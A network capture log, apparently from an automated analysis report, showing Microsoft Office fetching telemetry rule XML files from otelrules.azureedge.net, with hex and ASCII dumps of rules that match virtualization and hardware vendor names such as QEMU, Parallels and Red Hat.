2024-10-29 17:42:32 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c1144745-701e-0098-7f2c-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174232Z-r197bdfb6b4zd9tpkpdngrtchw00000006900000000044bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:32 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:32 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174232Z-15b8d89586fxdh48ft0acdbg4400000000pg000000008qc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:32 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:33 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 34f29d6e-001e-0079-21a9-2912e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174233Z-r197bdfb6b4zd9tpkpdngrtchw000000068g0000000054c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:33 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174233Z-16849878b78qg9mlz11wgn0wcc00000006d000000000kfsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174233Z-15b8d89586fqj7k5h9gbd8vs98000000080000000000bf42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174233Z-17c5cb586f6hn8cl90dxzu28kw0000000710000000001mm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:33 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97926059-b01e-0002-293b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174233Z-r197bdfb6b48pl4k4a912hk2g400000006700000000019pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:34 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:34 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 57ce5cde-c01e-000b-111a-28e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174234Z-15b8d89586ffsjj9qb0gmb1stn0000000b2g0000000095zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174234Z-16849878b78nx5sne3fztmu6xc00000007ug00000000em4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:34 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174234Z-16849878b78qfbkc5yywmsbg0c00000006cg00000000z1zt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:34 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174234Z-16849878b785dznd7xpawq9gcn000000088000000000em7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:34 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
